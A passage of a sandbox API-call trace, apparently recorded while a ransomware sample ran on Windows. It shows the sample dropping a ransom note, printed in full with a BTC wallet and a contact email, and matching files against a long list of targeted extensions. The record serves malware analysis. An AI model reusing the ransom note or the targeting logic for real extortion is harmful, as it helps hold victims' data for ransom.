shared\\msinfo\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0076.357] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.357] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0076.357] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0076.358] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.359] CloseHandle (hObject=0x90) returned 1 [0076.359] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\", lpString2="msinfo32.exe.mui" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" [0076.359] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.ems") returned 0 [0076.359] lstrlenA (lpString="*.ems") returned 5 [0076.359] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.db") returned 0 [0076.359] lstrlenA (lpString="*.db") returned 4 [0076.359] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.dbf") returned 0 [0076.359] lstrlenA (lpString="*.dbf") returned 5 [0076.359] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.myox") returned 0 [0076.359] lstrlenA (lpString="*.myox") returned 6 [0076.359] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.myo") returned 0 [0076.359] lstrlenA (lpString="*.myo") returned 5 [0076.359] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.qbw") returned 0 [0076.359] lstrlenA (lpString="*.qbw") returned 5 [0076.359] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.qbb") returned 0 [0076.360] lstrlenA (lpString="*.qbb") returned 5 [0076.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.qbm") returned 0 [0076.360] lstrlenA (lpString="*.qbm") returned 5 [0076.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.qbo") returned 0 [0076.360] lstrlenA (lpString="*.qbo") returned 5 [0076.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.qbx") returned 0 [0076.360] lstrlenA (lpString="*.qbx") returned 5 [0076.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.qba") returned 0 [0076.360] lstrlenA (lpString="*.qba") returned 5 [0076.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.qby") returned 0 [0076.360] lstrlenA (lpString="*.qby") returned 5 [0076.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.qbj") returned 0 [0076.360] lstrlenA (lpString="*.qbj") returned 5 [0076.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.ofx") returned 0 [0076.360] lstrlenA (lpString="*.ofx") returned 5 [0076.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.qif") returned 0 [0076.360] lstrlenA (lpString="*.qif") returned 5 [0076.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.mye") returned 0 [0076.360] lstrlenA (lpString="*.mye") returned 5 [0076.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.mbox") returned 0 [0076.360] lstrlenA (lpString="*.mbox") returned 6 [0076.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.eml") returned 0 [0076.360] lstrlenA (lpString="*.eml") returned 5 [0076.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.pst") returned 0 [0076.360] lstrlenA (lpString="*.pst") returned 5 [0076.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.ost") returned 0 [0076.360] lstrlenA (lpString="*.ost") returned 5 [0076.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.idx") returned 0 [0076.361] lstrlenA (lpString="*.idx") returned 5 [0076.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.dbx") returned 0 [0076.361] lstrlenA (lpString="*.dbx") returned 5 [0076.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.sql") returned 0 [0076.361] lstrlenA (lpString="*.sql") returned 5 [0076.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.mdb") returned 0 [0076.361] lstrlenA (lpString="*.mdb") returned 5 [0076.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.fdb") returned 0 [0076.361] lstrlenA (lpString="*.fdb") returned 5 [0076.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.wab") returned 0 [0076.361] lstrlenA (lpString="*.wab") returned 5 [0076.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.dat") returned 0 [0076.361] lstrlenA (lpString="*.dat") returned 5 [0076.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.txt") returned 0 [0076.361] lstrlenA (lpString="*.txt") returned 5 [0076.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.jpeg") returned 0 [0076.361] lstrlenA (lpString="*.jpeg") returned 6 [0076.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.jpg") returned 0 [0076.361] lstrlenA (lpString="*.jpg") returned 5 [0076.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.png") returned 0 [0076.362] lstrlenA (lpString="*.png") returned 5 [0076.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.php") returned 0 [0076.362] lstrlenA (lpString="*.php") returned 5 [0076.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.cs") returned 0 [0076.362] lstrlenA (lpString="*.cs") returned 4 [0076.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.cpp") returned 0 [0076.362] lstrlenA (lpString="*.cpp") returned 5 [0076.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.rar") returned 0 [0076.362] lstrlenA (lpString="*.rar") returned 5 [0076.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.zip") returned 0 [0076.362] lstrlenA (lpString="*.zip") returned 5 [0076.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.html") returned 0 [0076.362] lstrlenA (lpString="*.html") returned 6 [0076.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.htm") returned 0 [0076.362] lstrlenA (lpString="*.htm") returned 5 [0076.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.xlsx") returned 0 [0076.362] lstrlenA (lpString="*.xlsx") returned 6 [0076.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.xls") returned 0 [0076.362] lstrlenA (lpString="*.xls") returned 5 [0076.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.mp4") returned 0 [0076.362] lstrlenA (lpString="*.mp4") returned 5 [0076.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.ppt") returned 0 [0076.362] lstrlenA (lpString="*.ppt") returned 5 [0076.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.pptx") returned 0 [0076.362] lstrlenA (lpString="*.pptx") returned 6 [0076.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.doc") returned 0 [0076.362] lstrlenA (lpString="*.doc") returned 5 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.dot") returned 0 [0076.363] lstrlenA (lpString="*.dot") returned 5 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.docx") returned 0 [0076.363] lstrlenA (lpString="*.docx") returned 6 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.7z") returned 0 [0076.363] lstrlenA (lpString="*.7z") returned 4 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.tar") returned 0 [0076.363] lstrlenA (lpString="*.tar") returned 5 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.bz2") returned 0 [0076.363] lstrlenA (lpString="*.bz2") returned 5 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.gz") returned 0 [0076.363] lstrlenA (lpString="*.gz") returned 4 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.mkv") returned 0 [0076.363] lstrlenA (lpString="*.mkv") returned 5 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.eml") returned 0 [0076.363] lstrlenA (lpString="*.eml") returned 5 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.msg") returned 0 [0076.363] lstrlenA (lpString="*.msg") returned 5 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.edb") returned 0 [0076.363] lstrlenA (lpString="*.edb") returned 5 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.accdb") returned 0 [0076.363] lstrlenA (lpString="*.accdb") returned 7 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.odb") returned 0 [0076.363] lstrlenA (lpString="*.odb") returned 5 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.java") returned 0 [0076.363] lstrlenA (lpString="*.java") returned 6 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.asm") returned 0 [0076.363] lstrlenA (lpString="*.asm") returned 5 [0076.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.pfx") returned 0 [0076.364] lstrlenA (lpString="*.pfx") returned 5 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.pem") returned 0 [0076.364] lstrlenA (lpString="*.pem") returned 5 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.p12") returned 0 [0076.364] lstrlenA (lpString="*.p12") returned 5 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.gpg") returned 0 [0076.364] lstrlenA (lpString="*.gpg") returned 5 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.vsd") returned 0 [0076.364] lstrlenA (lpString="*.vsd") returned 5 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.odg") returned 0 [0076.364] lstrlenA (lpString="*.odg") returned 5 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.raw") returned 0 [0076.364] lstrlenA (lpString="*.raw") returned 5 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.nef") returned 0 [0076.364] lstrlenA (lpString="*.nef") returned 5 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.svg") returned 0 [0076.364] lstrlenA (lpString="*.svg") returned 5 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.psd") returned 0 [0076.364] lstrlenA (lpString="*.psd") returned 5 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.vmx") returned 0 [0076.364] lstrlenA (lpString="*.vmx") returned 5 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.vmdk") returned 0 [0076.364] lstrlenA (lpString="*.vmdk") returned 6 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.vdi") returned 0 [0076.364] lstrlenA (lpString="*.vdi") returned 5 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.lay6") returned 0 [0076.364] lstrlenA (lpString="*.lay6") returned 6 [0076.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.mpeg") returned 0 [0076.364] lstrlenA (lpString="*.mpeg") returned 6 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.djvu") returned 0 [0076.365] lstrlenA (lpString="*.djvu") returned 6 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.tiff") returned 0 [0076.365] lstrlenA (lpString="*.tiff") returned 6 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.backup") returned 0 [0076.365] lstrlenA (lpString="*.backup") returned 8 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.pdf") returned 0 [0076.365] lstrlenA (lpString="*.pdf") returned 5 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.cert") returned 0 [0076.365] lstrlenA (lpString="*.cert") returned 6 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.docm") returned 0 [0076.365] lstrlenA (lpString="*.docm") returned 6 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.xlsm") returned 0 [0076.365] lstrlenA (lpString="*.xlsm") returned 6 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.dwg") returned 0 [0076.365] lstrlenA (lpString="*.dwg") returned 5 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.nd") returned 0 [0076.365] lstrlenA (lpString="*.nd") returned 4 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.tlg") returned 0 [0076.365] lstrlenA (lpString="*.tlg") returned 5 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.lgb") returned 0 [0076.365] lstrlenA (lpString="*.lgb") returned 5 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.mov") returned 0 [0076.365] lstrlenA (lpString="*.mov") returned 5 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.xdw") returned 0 [0076.365] lstrlenA (lpString="*.xdw") returned 5 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.ods") returned 0 [0076.365] lstrlenA (lpString="*.ods") returned 5 [0076.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.wav") returned 0 [0076.366] lstrlenA (lpString="*.wav") returned 5 [0076.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.mp3") returned 0 [0076.366] lstrlenA (lpString="*.mp3") returned 5 [0076.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.aiff") returned 0 [0076.366] lstrlenA (lpString="*.aiff") returned 6 [0076.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.flac") returned 0 [0076.366] lstrlenA (lpString="*.flac") returned 6 [0076.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.m4a") returned 0 [0076.366] lstrlenA (lpString="*.m4a") returned 5 [0076.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", pszSpec="*.csv") returned 0 [0076.366] lstrlenA (lpString="*.csv") returned 5 [0076.366] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99bae7b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x99bae7b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0076.366] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.366] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a868239, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a868239, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a868239, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0076.367] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.367] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msinfo32.exe") returned -1 [0076.367] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msinfo32.exe") returned -1 [0076.367] lstrcmpiA (lpString1="", lpString2="msinfo32.exe") returned -1 [0076.367] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\*.*") returned="*.*" [0076.367] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\" [0076.367] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\") returned="" [0076.367] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\HOW TO DECRYPT FILES.txt" [0076.367] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\how to decrypt files.txt")) returned 0xffffffff [0076.367] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0076.368] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0076.368] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0076.369] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.369] CloseHandle (hObject=0x8c) returned 1 [0076.369] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\", lpString2="msinfo32.exe" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" [0076.369] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.ems") returned 0 [0076.369] lstrlenA (lpString="*.ems") returned 5 [0076.369] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.db") returned 0 [0076.369] lstrlenA (lpString="*.db") returned 4 [0076.369] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.dbf") returned 0 [0076.369] lstrlenA (lpString="*.dbf") returned 5 [0076.370] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", pszSpec="*.myox") returned 0 [0076.370] lstrlenA (lpString="*.myox") returned 6 [0076.370] PathMatchSpecA 